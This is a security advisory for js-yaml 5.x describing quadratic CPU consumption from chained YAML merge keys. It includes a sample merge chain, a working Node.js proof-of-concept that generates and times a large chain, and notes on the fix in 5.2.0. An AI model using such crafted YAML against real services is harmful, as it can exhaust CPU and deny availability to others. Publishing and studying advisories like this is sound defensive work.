GHSA-g796-fgmg-93mv

Suggest an improvement
Source
https://github.com/advisories/GHSA-g796-fgmg-93mv
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-g796-fgmg-93mv/GHSA-g796-fgmg-93mv.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-g796-fgmg-93mv
Aliases
Published
2026-07-20T21:19:27Z
Modified
2026-07-20T21:30:35Z
Severity
  • 5.3 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L CVSS Calculator
Summary
js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml
Details

Impact

This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default

When merge keys (<<) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Database specific
{
    "cwe_ids":  [
        "CWE-400",
        "CWE-407",
        "CWE-770"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-07-20T21:19:27Z",
    "nvd_published_at":  "2026-07-08T16:16:33Z",
    "severity":  "MODERATE"
}
References

Affected packages

npm / js-yaml

Package

Affected ranges

Type
SEMVER
Events
Introduced
5.0.0
Fixed
5.2.0

Database specific

last_known_affected_version_range
"<= 5.1.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-g796-fgmg-93mv/GHSA-g796-fgmg-93mv.json"